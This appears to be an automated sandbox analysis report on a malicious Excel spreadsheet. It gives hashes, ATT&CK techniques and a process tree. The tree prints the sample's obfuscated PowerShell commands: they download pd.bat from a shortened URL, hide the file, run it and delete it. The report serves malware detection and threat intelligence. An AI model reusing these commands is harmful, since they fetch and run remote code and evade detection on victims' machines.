0d97fd00e07fa37cfcd42d48e2a47e319f3865110afe30e46cc0504d6d50bc35

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
25/03/2025, 06:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d8032c71de22af1a399435b344ca825689ee175529c98fce2529f128f8357dc2.xls
Size

67KB
MD5

85a5ea8dcd78a8df15d7e49bb5f22387
SHA1

4f3765768183cbf79e220df9a15ca778c2385b64
SHA256

d8032c71de22af1a399435b344ca825689ee175529c98fce2529f128f8357dc2
SHA512

ccf1a3c0a39aec76d3da09085b5f3e98dc2540545109a7654bba41f4d2c9bfc03edfe37c3a3ce1276f9795fd5f5c7ae476fb9e58e0b386b8f75ea6f59ba785a5
SSDEEP

1536:+MnSGiysRchNXHfA1MiWhZFGkEld+Dr7JmSb4wIE7zp0RhBv1hQz7rT01aG:+MnSGiysRchNXHfA1MiWhZFGkEld+Dri

Score

10^/10

defense_evasion discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://tinyurl.com/y677kmz8

Signatures

Process spawned unexpected child process 5 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2732	2680	cmd.exe	29
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2972	2680	cmd.exe	29
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2668	2680	cmd.exe	29
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2832	2680	cmd.exe	29
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2588	2680	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2616	powershell.exe
6	2616	powershell.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
444	attrib.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2680	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3064	powershell.exe
2564	powershell.exe
2628	powershell.exe
2572	powershell.exe
2616	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3064	powershell.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2680	EXCEL.EXE
2680	EXCEL.EXE
2680	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 2732	2680	EXCEL.EXE	30
PID 2680 wrote to memory of 2732	2680	EXCEL.EXE	30
PID 2680 wrote to memory of 2732	2680	EXCEL.EXE	30
PID 2680 wrote to memory of 2732	2680	EXCEL.EXE	30
PID 2680 wrote to memory of 2972	2680	EXCEL.EXE	31
PID 2680 wrote to memory of 2972	2680	EXCEL.EXE	31
PID 2680 wrote to memory of 2972	2680	EXCEL.EXE	31
PID 2680 wrote to memory of 2972	2680	EXCEL.EXE	31
PID 2680 wrote to memory of 2668	2680	EXCEL.EXE	32
PID 2680 wrote to memory of 2668	2680	EXCEL.EXE	32
PID 2680 wrote to memory of 2668	2680	EXCEL.EXE	32
PID 2680 wrote to memory of 2668	2680	EXCEL.EXE	32
PID 2680 wrote to memory of 2832	2680	EXCEL.EXE	33
PID 2680 wrote to memory of 2832	2680	EXCEL.EXE	33
PID 2680 wrote to memory of 2832	2680	EXCEL.EXE	33
PID 2680 wrote to memory of 2832	2680	EXCEL.EXE	33
PID 2680 wrote to memory of 2588	2680	EXCEL.EXE	34
PID 2680 wrote to memory of 2588	2680	EXCEL.EXE	34
PID 2680 wrote to memory of 2588	2680	EXCEL.EXE	34
PID 2680 wrote to memory of 2588	2680	EXCEL.EXE	34
PID 2732 wrote to memory of 2564	2732	cmd.exe	40
PID 2732 wrote to memory of 2564	2732	cmd.exe	40
PID 2732 wrote to memory of 2564	2732	cmd.exe	40
PID 2732 wrote to memory of 2564	2732	cmd.exe	40
PID 2972 wrote to memory of 2572	2972	cmd.exe	41
PID 2972 wrote to memory of 2572	2972	cmd.exe	41
PID 2972 wrote to memory of 2572	2972	cmd.exe	41
PID 2972 wrote to memory of 2572	2972	cmd.exe	41
PID 2588 wrote to memory of 2616	2588	cmd.exe	42
PID 2588 wrote to memory of 2616	2588	cmd.exe	42
PID 2588 wrote to memory of 2616	2588	cmd.exe	42
PID 2588 wrote to memory of 2616	2588	cmd.exe	42
PID 2668 wrote to memory of 2628	2668	cmd.exe	43
PID 2668 wrote to memory of 2628	2668	cmd.exe	43
PID 2668 wrote to memory of 2628	2668	cmd.exe	43
PID 2668 wrote to memory of 2628	2668	cmd.exe	43
PID 2832 wrote to memory of 3064	2832	cmd.exe	44
PID 2832 wrote to memory of 3064	2832	cmd.exe	44
PID 2832 wrote to memory of 3064	2832	cmd.exe	44
PID 2832 wrote to memory of 3064	2832	cmd.exe	44
PID 2628 wrote to memory of 444	2628	powershell.exe	45
PID 2628 wrote to memory of 444	2628	powershell.exe	45
PID 2628 wrote to memory of 444	2628	powershell.exe	45
PID 2628 wrote to memory of 444	2628	powershell.exe	45

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
444	attrib.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d8032c71de22af1a399435b344ca825689ee175529c98fce2529f128f8357dc2.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Windows\SysWOW64\cmd.exe
  cmd /k p^owershel^l -w 1 stARt`-slE`Ep 3; Move-Item "pd.bat" -Destination "$e`nV:T`EMP"
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -w 1 stARt`-slE`Ep 3; Move-Item "pd.bat" -Destination "$e`nV:T`EMP"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2564
- C:\Windows\SysWOW64\cmd.exe
  cmd /k p^owershel^l -w 1 stARt`-slE`Ep 12; Remove-Item -Path pd.bat -Force
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -w 1 stARt`-slE`Ep 12; Remove-Item -Path pd.bat -Force
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2572
- C:\Windows\SysWOW64\cmd.exe
  cmd /k p^owershel^l -w 1 stARt`-slE`Ep 1; attrib +s +h pd.bat
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -w 1 stARt`-slE`Ep 1; attrib +s +h pd.bat
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2628
  - - C:\Windows\SysWOW64\attrib.exe
      "C:\Windows\system32\attrib.exe" +s +h pd.bat
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:444
- C:\Windows\SysWOW64\cmd.exe
  cmd /k p^owershel^l -w 1 stARt`-slE`Ep 7;cd "$e`nV:T`EMP; ./pd.bat"
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -w 1 stARt`-slE`Ep 7;cd "$e`nV:T`EMP; ./pd.bat"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3064
- C:\Windows\SysWOW64\cmd.exe
  cmd /k powershel^l -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"('https://tinyurl.com/y677kmz8','pd.bat')
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"('https://tinyurl.com/y677kmz8','pd.bat')
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JPHZ3SLVHLUG7LZW46FG.temp

Filesize
7KB

MD5
4c4ecc15911e2bfee61bbee9c0265f3d

SHA1
a32f1a8cc36c83c7378e3ce8897c273ce1e2f9b6

SHA256
13d227b6a75f80829c5c99f3dff2e86709d2bf15c3bc52d5a9259ca7b3848108

SHA512
1986fd800b6e90ebcaf0e18fbc86a4951b15dff04c8cc0bc01771efcd2d0a8597e2356629c426e825f8807c72412e10ff9346429e255a636b320462ac70daac7

Download Submit
memory/2680-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2680-1-0x000000007206D000-0x0000000072078000-memory.dmp

Filesize
44KB

Download
memory/2680-24-0x000000007206D000-0x0000000072078000-memory.dmp

Filesize
44KB

Download